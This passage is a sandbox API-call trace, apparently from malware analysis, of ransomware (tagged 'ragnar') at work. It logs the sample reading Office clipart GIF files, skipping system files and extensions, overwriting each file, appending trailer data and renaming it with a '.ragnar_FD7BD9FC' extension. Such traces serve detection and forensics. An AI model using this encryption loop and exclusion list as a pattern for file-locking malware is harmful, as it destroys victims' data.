(in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.676] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a19, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.676] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3a19, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3a19, lpOverlapped=0x0) returned 1 [0079.677] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a19, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.677] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.677] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3a19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.677] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.677] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.677] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.677] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.678] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.678] GetProcessHeap () returned 0x580000 [0079.678] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.678] CloseHandle (hObject=0xf4) returned 1 [0079.678] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" [0079.678] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.ragnar_FD7BD9FC" [0079.678] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.678] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64147500, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64147500, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0079.678] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.678] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00037_.GIF" | out: lpString1="AG00037_.GIF") returned="AG00037_.GIF" [0079.678] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned=".GIF" [0079.678] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.679] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="autorun.inf") returned -1 [0079.679] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="boot.ini") returned -1 [0079.679] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="bootfont.bin") returned -1 [0079.679] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="bootsect.bak") returned -1 [0079.679] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="bootmgr") returned -1 [0079.679] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="bootmgr.efi") returned -1 [0079.679] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.679] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="desktop.ini") returned -1 [0079.679] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="iconcache.db") returned -1 [0079.679] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="ntldr") returned -1 [0079.679] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="ntuser.dat") returned -1 [0079.679] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.679] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="ntuser.ini") returned -1 [0079.679] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="thumbs.db") returned -1 [0079.679] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.679] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.679] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.679] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.679] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.679] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.679] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0079.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.679] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6684) returned 1 [0079.680] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a13, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.680] GetProcessHeap () returned 0x580000 [0079.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.680] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.681] VirtualAlloc (lpAddress=0x0, dwSize=0x1a1c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.681] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.682] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.682] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a1c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1a1c, lpOverlapped=0x0) returned 1 [0079.682] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.682] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a1c, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.683] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a1c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1a1c, lpOverlapped=0x0) returned 1 [0079.683] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a1c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.683] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.683] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a1c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.683] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.683] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.683] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.683] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.683] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.683] GetProcessHeap () returned 0x580000 [0079.683] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.683] CloseHandle (hObject=0xf4) returned 1 [0079.683] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" [0079.683] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.ragnar_FD7BD9FC" [0079.684] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.684] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47589c00, ftCreationTime.dwHighDateTime=0x1bf325d, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47589c00, ftLastWriteTime.dwHighDateTime=0x1bf325d, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0079.684] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.684] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00038_.GIF" | out: lpString1="AG00038_.GIF") returned="AG00038_.GIF" [0079.684] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned=".GIF" [0079.684] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.684] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="autorun.inf") returned -1 [0079.684] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="boot.ini") returned -1 [0079.684] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="bootfont.bin") returned -1 [0079.684] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="bootsect.bak") returned -1 [0079.684] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="bootmgr") returned -1 [0079.684] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="bootmgr.efi") returned -1 [0079.684] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.684] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="desktop.ini") returned -1 [0079.684] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="iconcache.db") returned -1 [0079.684] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="ntldr") returned -1 [0079.684] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="ntuser.dat") returned -1 [0079.685] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.685] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="ntuser.ini") returned -1 [0079.685] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="thumbs.db") returned -1 [0079.685] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.685] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.685] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.685] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.685] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.685] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.685] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0x20 [0079.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.686] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3251) returned 1 [0079.686] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcaa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.686] GetProcessHeap () returned 0x580000 [0079.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.686] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.687] VirtualAlloc (lpAddress=0x0, dwSize=0xcb3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.687] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.688] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.688] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xcb3, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xcb3, lpOverlapped=0x0) returned 1 [0079.688] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.688] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcb3, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.688] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xcb3, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xcb3, lpOverlapped=0x0) returned 1 [0079.688] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcb3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.688] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.688] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcb3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.688] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.688] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.688] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.688] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.689] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.689] GetProcessHeap () returned 0x580000 [0079.689] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.689] CloseHandle (hObject=0xf4) returned 1 [0079.689] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" [0079.689] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.ragnar_FD7BD9FC" [0079.689] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.689] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4fc100, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f4fc100, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0079.689] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.689] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00040_.GIF" | out: lpString1="AG00040_.GIF") returned="AG00040_.GIF" [0079.689] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned=".GIF" [0079.689] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.689] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="autorun.inf") returned -1 [0079.689] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="boot.ini") returned -1 [0079.690] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="bootfont.bin") returned -1 [0079.690] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="bootsect.bak") returned -1 [0079.690] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="bootmgr") returned -1 [0079.690] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="bootmgr.efi") returned -1 [0079.690] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.690] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="desktop.ini") returned -1 [0079.690] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="iconcache.db") returned -1 [0079.690] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="ntldr") returned -1 [0079.690] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="ntuser.dat") returned -1 [0079.690] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.690] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="ntuser.ini") returned -1 [0079.690] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="thumbs.db") returned -1 [0079.690] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.690] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.690] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.690] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.690] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.690] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.690] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0x20 [0079.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.690] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8097) returned 1 [0079.690] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f98, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.690] GetProcessHeap () returned 0x580000 [0079.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.691] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.692] VirtualAlloc (lpAddress=0x0, dwSize=0x1fa1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.692] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.692] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.692] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1fa1, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1fa1, lpOverlapped=0x0) returned 1 [0079.693] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.693] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fa1, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.693] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1fa1, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1fa1, lpOverlapped=0x0) returned 1 [0079.693] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fa1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.693] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, 